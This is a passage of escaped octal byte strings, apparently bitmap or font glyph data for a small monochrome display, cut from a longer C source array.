\"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\"\n  \"\\200\\200\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\200\\340\\360\\374\\376\\77\\37\\177\\376\\374\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\14\\37\\37\\37\\7\\3\\0\\0\\0\"\n  \"\\0\\1\\7\\37\\37\\37\\16\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\"\n  \"\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\7\\0\\0\\0\\0\\0\\0\\370\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\37\\77\\377\\377\\376\\370\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37\\77\"\n  \"\\177\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\2\\7\\17\\217\\207\\207\\303\\303\\303\\303\\303\\303\\307\\317\\377\\377\\377\\376\\370\\0\\0\\0\\370\\374\\376\\377\"\n  \"\\377\\217\\17\\7\\7\\7\\7\\7\\3\\203\\203\\343\\377\\377\\377\\377\\377\\0\\0\\0\\1\\3\\7\\17\\17\\37\\37\\37\\37\\36\\37\\37\"\n  \"\\17\\17\\17\\7\\37\\37\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377>\\17\\17\\7\\7\\7\"\n  \"\\7\\7\\17\\17\\37\\377\\377\\376\\374\\360\\300\\0\\0\\377\\377\\377\\377\\377\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\377\\377\"\n  \"\\377\\377\\77\\0\\0\\77\\77\\77\\77\\7\\17\\37\\36>><>>>\\77\\37\\37\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\"\n  \"\\0\\0\\0\\0\\0\\300\\370\\374\\376\\377\\77\\37\\17\\7\\3\\3\\3\\3\\3\\3\\7\\7\\17\\77\\37\\16\\4\\0\\0\\37\\177\\377\"\n  \"\\377\\377\\360\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\17\\17\\17\\37\\37\"\n  \"\\37\\36\\37\\37\\37\\17\\17\\7\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\20\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\300\\370\\374\\376\\377\\177\\37\\17\\7\\7\\7\\7\"\n  \"\\7\\17\\37>\\377\\377\\377\\377\\377\\0\\0\\0\\77\\377\\377\\377\\377\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\1\\3\\17\\17\\37\\37\\77>><>>\\36\\37\\17\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\300\\200\\200\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\360\\370\\376\\376\\277\\237\\217\\207\\207\\207\\207\\207\\207\\217\\217\\237\\377\\376\\374\\370\\340\\0\\0\\77\\377\\377\\377\"\n  \"\\377\\347\\207\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\207\\7\\7\\7\\0\\0\\0\\1\\3\\7\\17\\17\\37\\37>>>>\"\n  \"<>>>\\37\\37\\17\\17\\6\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\360\\360\\360\\360\\360\\360\\360\\360\\360\\340\\300\\300\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\376\\377\\377\\377\\377\\3\\1\\0\\0\\0\\0\\0\\1\\3\\7\\7\\1\\0\\0\\17\\17\\17\\17\\17\\377\\377\\377\\377\\377\\17\"\n  \"\\17\\17\\17\\17\\17\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\300\\200\\200\\200\\200\\0\\0\\200\\200\\200\"\n  \"\\200\\200\\200\\200\\0\\360\\374\\376\\377\\377\\17\\7\\3\\3\\3\\3\\3\\7\\17\\377\\377\\377\\377\\347\\7\\7\\7\\7\\0\\3\\207\\317\"\n  \"\\377\\377\\177~||x||~\\77\\77\\37\\17\\7\\3\\0\\0\\0\\0\\200\\340\\347\\377\\377\\177>\\36\\36\\36\\36\\36\"\n  \"\\36\\36\\36>>>\\374\\374\\374\\370\\340\\0\\7\\17\\37\\77\\77>||||xx||||<>\\77\\37\"\n  \"\\17\\7\\1\\0\\0\\360\\360\\360\\360\\360\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377~\\36\\17\\17\\7\\7\"\n  \"\\7\\7\\17\\37\\377\\377\\376\\374\\360\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\360\"\n  \"\\360\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\201\\203\\207\\207\\207\\203\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0<<<<<<\\77\\77\\77\"\n  \"\\77\\77<<<<<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\360\\360\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\200\\200\\200\\200\\200\\200\\200\\200\\201\\203\\207\\207\\207\\203\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\14\\36\\37\\77\"\n  \">|||x||>\\77\\77\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\20\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\"\n  \"\\200\\200\\0\\0\\0\\377\\377\\377\\377\\377\\0\\200\\300\\300\\340\\360\\370|>\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\37\\17\\7\\17\\37\\177\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\1\\3\\7\\37\\77\\77><\\70\\60 \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0<<<<<<<\\77\\77\\77\\77\\77<<<<<<<\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\200\\300\\300\\300\\300\\300\\300\\200\\0\\200\\300\\300\\300\\300\\300\"\n  \"\\300\\200\\0\\0\\377\\377\\377\\377\\377\\17\\3\\3\\3\\377\\377\\377\\377\\377\\17\\3\\3\\3\\377\\377\\377\\377\\377\\0\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\37\\37\\37\\37\\37\\0\\0\\0\\0\\37\\37\\37\"\n  \"\\37\\37\\0\\0\\0\\0\\37\\37\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\"\n  \"\\300\\300\\0\\0\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\77\\17\\7\\7\\3\\3\"\n  \"\\3\\3\\7\\17\\377\\377\\377\\376\\370\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\37\\37\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\370\\374\\376\\377\\77\\17\\7\\7\\3\\3\\3\\3\\3\\7\\7\\37\\177\\377\\377\\374\\370\\300\\0\\37\\177\\377\\377\"\n  \"\\377\\360\\300\\200\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\377\\377\\377\\177\\37\\0\\0\\0\\1\\3\\7\\7\\17\\17\\37\\37\\37\\36\"\n  \"\\37\\37\\37\\17\\17\\7\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\"\n  \"\\200\\200\\0\\0\\0\\200\\200\\200\\300\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377>\\17\\17\\7\\7\\7\"\n  \"\\7\\7\\17\\17\\37\\377\\377\\376\\374\\360\\300\\0\\0\\377\\377\\377\\377\\377\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\377\\377\"\n  \"\\377\\377\\77\\0\\0\\377\\377\\377\\377\\377\\17\\37\\36\\36><>>>\\77\\37\\37\\17\\7\\3\\1\\0\\0\\0\\177\\177\\177\"\n  \"\\177\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\0\\300\\300\\300\"\n  \"\\300\\300\\0\\0\\340\\370\\376\\377\\377\\77\\17\\7\\7\\3\\3\\3\\3\\3\\7\\17\\37\\377\\377\\377\\377\\377\\0\\0\\37\\377\\377\\377\"\n  \"\\377\\360\\300\\200\\0\\0\\0\\0\\0\\0\\0\\200\\340\\377\\377\\377\\377\\377\\0\\0\\0\\0\\1\\3\\7\\17\\17\\37\\37\\37\\37\\36\"\n  \"\\37\\17\\17\\7\\7\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\"\n  \"\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\"\n  \"\\300\\300\\300\\300\\0\\0\\200\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\177\\37\\17\\7\"\n  \"\\7\\3\\3\\3\\3\\3\\7\\17\\37\\7\\1\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0<\\177\\377\\377\\377\\347\\307\\303\\203\\203\\203\\203\\7\\7\\17\\77\\37\\17\\2\\0\\0\\0\\0\\200\\340\\340\"\n  \"\\300\\201\\1\\3\\3\\3\\7\\7\\7\\7\\17\\237\\377\\376\\374\\374\\360\\0\\0\\0\\1\\3\\7\\7\\17\\17\\17\\37\\37\\37\\36\\37\"\n  \"\\37\\37\\37\\17\\17\\7\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\"\n  \"\\200\\200\\200\\376\\376\\377\\377\\377\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\377\\377\\377\\377\\377\\7\"\n  \"\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37\\37\\77\\77>><>>\\36\\37\\17\\16\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\"\n  \"\\200\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\200\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\3\\17\\17\\37\\37\\77>><>\"\n  \">\\36\\37\\17\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\"\n  \"\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\0\\0\\1\\17\\77\\377\\377\\376\\370\\300\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\200\\360\\376\\377\\377\\37\\7\\0\\0\\0\\0\\0\\0\\7\\37\\377\\377\\377\\370\\340\\0\\300\\370\\376\\377\\77\\17\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\77\\77\\77\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\"\n  \"\\200\\200\\200\\0\\377\\377\\377\\360\\0\\0\\0\\0\\340\\376\\376\\376\\376\\360\\200\\0\\0\\0\\377\\377\\377\\377\\37\\0\\7\\177\\377\\377\"\n  \"\\377\\340\\340\\376\\377\\77\\7\\7\\77\\377\\377\\370\\300\\374\\377\\377\\377\\7\\0\\0\\0\\0\\17\\77\\77\\77\\77\\37\\3\\0\\0\\0\"\n  \"\\0\\3\\37\\77\\77\\77\\77\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\"\n  \"\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\0\\0\\0\\1\\7\\17\\37\\177\\376\\374\\370\\340\\300\\200\"\n  \"\\340\\360\\374\\376\\177\\37\\17\\3\\1\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\371\\377\\377\\77\\77\\377\\377\\371\\360\\300\\200\\0\\0\"\n  \"\\0\\0\\0\\0 \\70<>\\77\\77\\17\\7\\1\\0\\0\\0\\0\\1\\3\\17\\37\\77\\77>\\70\\60 \\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\"\n  \"\\200\\200\\200\\0\\1\\7\\37\\377\\377\\377\\370\\340\\0\\0\\0\\0\\0\\0\\0\\200\\360\\377\\377\\377\\77\\7\\0\\0\\0\\0\\0\\0\"\n  \"\\3\\17\\77\\377\\377\\374\\340\\200\\200\\360\\376\\377\\377\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\377\\377\\377\"\n  \"\\377\\177\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0>\\77||x||~\\77\\77\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\"\n  \"\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\207\\307\"\n  \"\\367\\377\\377\\177\\77\\37\\17\\7\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\374\\376\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0<>\\77\\77\\77\\77\\77=<<<<<<<<<<<<>>\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\"\n  \"\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\376\\377\\377\\377\\17\\7\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\0\\0\\0\\0\\200\\200\\200\\200\\300\\340\\377\\377\\377\\177\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\17\"\n  \"\\17\\37\\377\\377\\375\\370\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37\\77\\77\\177|||xxxxx\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\177\\177\\177\\177\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\7\\17\\377\\377\\377\\376\\370\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\177\\377\\377\\377\\340\\300\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\340\\370\\374\\377\\377\\77\\17\\17\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0xxxxx|||\\177\\77\\77\\37\\17\\3\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\"\n  \"\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\200\\300\\200\\200\\0\\6\\7\\17\\17\\7\\7\\7\\3\\7\\7\\17\\17\"\n  